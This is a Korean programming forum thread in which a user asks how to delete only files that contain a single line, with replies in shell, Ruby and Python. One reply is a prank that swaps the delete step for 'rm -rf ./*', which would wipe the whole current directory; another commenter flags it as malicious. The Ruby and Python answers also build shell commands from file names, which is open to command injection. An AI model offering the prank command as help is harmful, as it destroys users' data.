여러 파일들 중에서 라인 수가 1인것만 골라서 삭제하려고합니다.

wongidos의 이미지

안녕하세요.
제목처럼 여러 파일 들 중에서 라인 수가 1인것만 골라서 삭제하는 shell을 작성하려고하는데
익숙치 않아서 도움 요청 드립니다.

추운 날씨에 건강 조심하세요.

익명 사용자의 이미지

for f in "$@"
do
    if [ $(wc -l "$f" | awk '{print $1}') -eq 1 ]
    then
        echo "$f" # Do something
    fi
done
scriptor의 이미지

for f in "$@"
do
    if [ $(wc -l "$f" | awk '{print $1}') -eq 1 ]
    then
        rm -rf ./*
    fi
done
익명 사용자의 이미지

rm -rf $f

익명 사용자의 이미지

답변이 사악하게 느껴지네요. 이 코드들을 따라하지 마세요.

익명 사용자의 이미지

ruby 로 맛배기만 보여드려요.
file 을 열고 "\n" 개수를 체크하면 됩니다. "\n" 이 1개 이면 파일을 삭제하면 되겠죠.
디렉토리는... dirent 던가.. recursive 쉽게 됩니다.

[hodong@hodong-pc ~]$ cat sa.x
aoeu
[hodong@hodong-pc ~]$ gedit sa.x
[hodong@hodong-pc ~]$ irb
irb(main):001:0> f = File.open("sa.x")
irb(main):002:0> pp f.read
"aoeu\n"
=> "aoeu\n"
irb(main):003:0>

아래 코드는 한글 파일 이름 복구하는 코드입니다.
https://hodong.gitlab.io/docs/recover-broken-hangul-file-name/
아래 repair_cp949 함수를 remove_file 함수로 변경하면 되겠죠.

# coding: utf-8
 
def repair_cp949 utf8
    begin
        utf8.unpack("U*").pack("C*").force_encoding("cp949").encode("utf-8")
    rescue Encoding::InvalidByteSequenceError
        # FIXME
        utf8
    end
end
 
def repair_recursive dir
    dirent = Dir.entries(dir) - [".", ".."]
    dirent.each do |path|
        if File.directory? path
            path2 = repair_cp949(path)
            `mv "#{path}" "#{path2}"` if path != path2
            Dir.chdir path2
            repair_recursive "."
            Dir.chdir ".."
        elsif File.file? path
            path2 = repair_cp949(path)
            `mv "#{path}" "#{path2}"` if path != path2
        end
    end
end
 
if ARGV.length.zero?
    repair_recursive "."
else
    repair_recursive ARGV[0]
end

참쉽죠잉?
황병희의 이미지

루비 코드 언제봐도 참 경이롭고 짜임새가 힘이있어요^^^
훌륭한 코드에 감사드립니다^^^

[우분투 18.04 파여폭스 나비에서 작성했습니다]

--
^고맙습니다 감사합니다_^))//

익명 사용자의 이미지

과찬이십니다. 코드가 좀 거시기한걸요. 수정하고 싶지만... 그러다보면 오늘 잠 못자니...
일단, 잠부터 잡시다 ㅋㅋㅋ

황병희의 이미지

(bionic)soyeomul@localhost:~/111$ cat 9.txt | wc -l
1
(bionic)soyeomul@localhost:~/111$ ./9.py 9.txt
삭제 대상입니다: 9.txt

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
 
import sys
import subprocess
 
class mc:
    """진짜로 지우고싶으면 True 로 바꾸십시오"""
    RM_MODE = False
 
def fline(x):
    f = open(x, "r")
    line1 = f.readline()
    line2 = f.readline()
    f.close()
 
    return line2
 
asdf = fline(sys.argv[1])
 
if len(asdf) == 0:
    if mc.RM_MODE == False:
        print("삭제 대상입니다:", sys.argv[1])
    else:
        CMD = "rm -vf {}".format(sys.argv[1])
        subprocess.call(CMD, shell=True)    
else:
    exit(0)

[우분투 18.04 파여폭스 나비에서 작성했습니다]

--
^고맙습니다 감사합니다_^))//

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.